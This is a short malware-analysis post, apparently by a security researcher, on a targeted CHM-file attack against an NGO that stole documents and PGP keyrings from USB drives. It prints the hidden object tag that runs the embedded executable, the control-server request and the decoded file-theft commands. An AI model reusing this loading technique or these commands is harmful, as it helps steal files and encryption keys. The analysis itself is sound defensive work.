A couple of weeks ago, we received a CHM, or Windows Help file, embedded in e-mail as part of a targeted attack campaign against an NGO. Virus detection was near zero. On Virustotal.com, two solutions actually flagged it as malicious.

After decompiling the CHM file, which you can easily do using tools such as arCHMage or chmdecompiler, I spotted the following code in the HTML content, in addition to an executable ‘music.exe’:

object width="0" height="0" style="display:none;"
type="application/x-oleobject" codebase="music.exe"

The goal of this code is to load a hidden object from the CHM container. This embedded file also was not recognized by the vast majority of anti virus vendors. The code connected to a ‘fake’ web server at a Hong Kong ISP, and issued the following request:

GET /scripts/msadce.exe/?UID=DD01x51 HTTP/1.0

When you see something like this, it raises suspicion that the UID is in fact a ‘command’ to a control server. In reality, the web server turned out not a web server at all. Any query but the above was answered with an immediate disconnect. In response to the above request, the server responded with a large BASE64 encoded response, which turned out to be an additional executable file. The trojan then executed this file, being its second stage payload.

This file subsequently connected to a second server, being the actual control server. It sent an identical registration URI as above to this machine. In return, the server responded with another BASE64 encoded string. This was much shorter, and once decoded, turned out to be:

      <Command Begin>
      netmgetr usb:\*.doc
      netmgetr usb:\*.pkr
      netmgetr usb:\*.skr
      netlsr usb:\*.*
      <Command End>

Upon further review of the trojan code, netmgetr scanned the file system for a filename and then copies it from the system. This is interesting, because reports of malware looking for PGP keyrings (the .skr and .pkr files in the above example) are rare. There have been instances, such as the ’99 Caligula macro-virus, but this was more proof-of-concept code.

In this case, the code above was combined with a keylogger, so the passphrase could have been grabbed as well. However, we did not see this happening. It appears the attacker's goal was to “map” who was talking to whom encrypted. In this attack, the latter information appears to have been actively used to send malware to other people in a more convincing way.

There are two things we can learn from this:

• It’s clear that we should understand that the network that houses our data is not just a network of machines. It’s a network of people. Knowing who talks to whom and how is valuable help for an attacker in selecting his next targets, and making them look "normal";
• When we use strong encryption, attackers will not try to "break" that encryption. They will move to the endpoints to steal the keys that are used to encrypt it. Ensure sufficient security is implemented on key storage.

Cheers,

Maarten Van Horenbeeck
maarten at daemon.be